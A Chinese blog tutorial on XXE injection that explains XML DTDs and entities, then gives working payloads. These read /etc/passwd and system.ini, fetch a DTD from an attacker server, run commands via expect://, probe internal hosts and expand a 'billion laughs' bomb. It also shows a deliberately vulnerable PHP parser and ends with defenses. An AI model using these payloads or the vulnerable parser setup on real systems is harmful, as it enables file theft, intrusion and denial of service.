XML外部实体注入漏洞——XXE简单分析·

前言:

        XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波。

一、XXE 漏洞是什么:

XXE 漏洞全称:XML External Entity Injection,即 XML 外部实体 注入漏洞。XXE 漏洞发生在应用程序解析 XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos攻击等危害。
在这里插入图片描述

二、XML基础知识:

想要了解 XXE漏洞,需要先了解一下关于 XML的基础知识。

1、XML是什么?

  • XML全称:可扩展标记语言(Extensible Markup Language)。

  • XML是独立于软件和硬件的信息传输工具,它把数据从HTML中分离。 XML语言没有预定义的标签,需要作者定义自己的标签和自己的文档结构。

  • XML 被设计用来传输和存储数据,HTML 被设计用来显示数据。

2、XML文档结构:

XML文档结构包括:

  1. XML声明

  2. DTD 文档类型定义(可选)

  3. 文档元素。

示例代码:
在这里插入图片描述
其中 DTD (Document Type Definition)即 文档类型定义 部分 定义了XML文档的标签以及元素属性。

如上图中的DTD 就定义了XML的根元素为 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文档元素就可以使用这些元素:

<!--文档元素-->
<note> 
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body> 
</note>

注:

  • PCDATA:可被解析的字符数据。PCDATA 数据类型是会被解析器解析的文本。这些文本将被解析器检查 实体 以及 标记。文本中的标签会被当作标记来处理,而实体会被展开。与之对应的是CDATA

  • CDATA:不被解析的字符数据,CDATA 数据类型是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对 待,其中的实体也不会被展开。详细可点这 链接

DTD声明方式:

其中DTD有两种构建方式,分别为内部 DTD声明和外部 DTD声明。

1、内部DTD声明:

声明格式:

<!DOCTYPE 根元素 [元素声明]>

如 上例使用就是内部 DTD声明。

2、外部DTD声明:

通过引入 dtd文件的方式进行声明(这一点和 css,javascript 很像)。

声明格式:

<!DOCTYPE 根元素 SYSTEM "文件名">

例:

<?xml version="1.0"?>
 <!DOCTYPE note SYSTEM "test.dtd"> 
 <note> 
 <to>H</to>
 <from>E</from>
 <head>L</head>
 <body>LO</body> 
 </note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> 
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

🆗,说完了 DTD的两种引入方式,终于到了关键人物:” 实体 “ 登场了。

实体的声明:

实体定义在 DTD声明中,

例:

<?xml version="1.0"?>
<!DOCTYPE sss [
<!ELEMENT sss ANY >
<!ENTITY xxe "hello" >
]>

这里定义元素为 ANY 表示可以接受任何元素作为标签,这里的 "xxe" 就是我们所说的实体了(相当于一个变量),可以在XML文档元素中使用 & 符号对实体进行引用。

例:

<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>

到时候输出的时候 &xxe; 就会被 hello 替换。

实体的分类:
1、按声明位置分(和上面的内外部引入 DTD声明不同,别弄混了):

实体是定义在 DTD中的,可分为 外部实体内部实体,上面的例子就是内部实体,外部实体就是把实体定义在外部文件中。

例:

<?xml version="1.0"?>
<!DOCTYPE sss [
<!ELEMENT sss ANY >
<!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件
]>
<sss>
    <user>&xxe;</user>
    <pass>pass</pass>
</sss>

这样当需要更改实体的值时,只需要更改外部的 dtd 文件就行,不需要打开源码更改了(降低了耦合性),但也带来了安全漏洞。

外部实体支持http、file等协议。不同程序支持的协议不同:
在这里插入图片描述

2、按类型分:

实体又分为通用实体和参数实体。

1、通用实体

  • &实体名;引用,在DTD 中定义(内外DTD都行),在 XML文档元素中引用。

上面的例子都是通用实体。

2、参数实体

  • 使用 % 实体名(中间有空格) 在DTD中定义(内外DTD都行),并且只能在DTD中使用 %实体名; 引用。

  • 在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)。

引入格式:

内部引入

<!ENTITY % 实体名称 "实体的值">

例:

<?xml version="1.0" encoding="utf-8">
<!DOCTYPE Author [
<!ENTITY % first "Hello">
<!ENTITY % second "%first;_World">
%second;]>

%second; 会解析为:Hello_World

外部引入

<!ENTITY % 实体名称 SYSTEM "URI">

例:

<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///D:/test.dtd">
%name;]>

三、如何利用XXE:

说了这么多,终于来到了重点,正如标题 XXE名为 “外部实体注入”,也就是说时是通过引入外部实体的方式进行注入的。

我们先来看这个例子:

<?xml version="1.0"?>
<!DOCTYPE s [
<!ELEMENT s ANY >
<!ENTITY xxe SYSTEM "file:///D:/test.dtd" > 
]>
<s>
    <user>&xxe;</user>
    <pass>pass</pass>
</s>

既然能读 dtd文件,那是不是将路径换成敏感文件的路径,也能把敏感文件读出来?

例:

解析 xml 的php文件:

test.php:

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

构造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE A [  
<!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]> 
<A>&a;</A>

在这里插入图片描述可以看到,成功读取到了 C盘下的 system.ini 文件,此漏洞就是 任意文件漏洞

四、XXE漏洞常见的危害:

1、任意文件读取:

构造任意文件读取漏洞 playload 有下面几种方法:

方式一、直接通过外部实体声明

XML内容:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [  
<!ENTITY b SYSTEM "file:///etc/passwd"> ]> 
<a>&b;</a>

上面的例子就是此方式,这是最简单的XXE漏洞利用。

方式二、外部实体声明 (通用实体)+ 外部 DTD文件

XML内容:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://XXX/test.dtd">
<c>&b;</c>

注意:这里的 http://XXX/test.dtd 是攻击者自己服务器上的文件。

test.dtd 内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

示例(使用的是 xxe-labs 靶场的php环境):
在这里插入图片描述
因为这里使用windows演示的,所以读取的是 system.ini 文件,可以看到成功的读取到了。

方式三、外部实体声明(参数实体) + 引入外部实体声明

因为参数实体可以嵌套别的实体,所以产生了这种方式。

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % d SYSTEM "http://XXX/test.dtd">
    %d;
]>
<c>&b;</c>

test.dtd 内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

示例:
在这里插入图片描述注意这种方式必须要先引用 参数实体,才能引用通用实体,且缺一不可。

2、命令执行:

在安装 expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
因为PHP的 expect 并不是默认安装扩展,所以命令执行比较难利用,但不排除有幸运的情况。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://cat /" >]>
<root>
<name>&xxe;</name>
</root>

3、内网探测:

XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

4、攻击内网网站:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

5、发起Dos攻击:

几乎所有可以控制服务器资源利用的东西,都可用于制造DOS攻击。通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。

常见的XML炸弹:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

攻击原理:XML解析器尝试解析该文件时,DTD中的实体会以指数级的数量级展开,lol 实体为 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,所以这个1K不到的文件经过解析后会占用到3G的内存,可见有多恐怖,不过现代的服务器软硬件大多已经抵御了此类攻击。

防御XML炸弹的方法也很简单禁止DTD或者是限制每个实体的最大长度。

五、XXE 如何防御:

方式一、使用开发语言提供的禁用外部实体的方法:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方式二、过滤用户输入:

过滤用户提交的XML数据 ,关键词:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC

六、最后

🆗,关于 XXE漏洞的总结大致就这些了,后面遇到新的 XXE利用方式再补上。( •̀ ω •́ )✧


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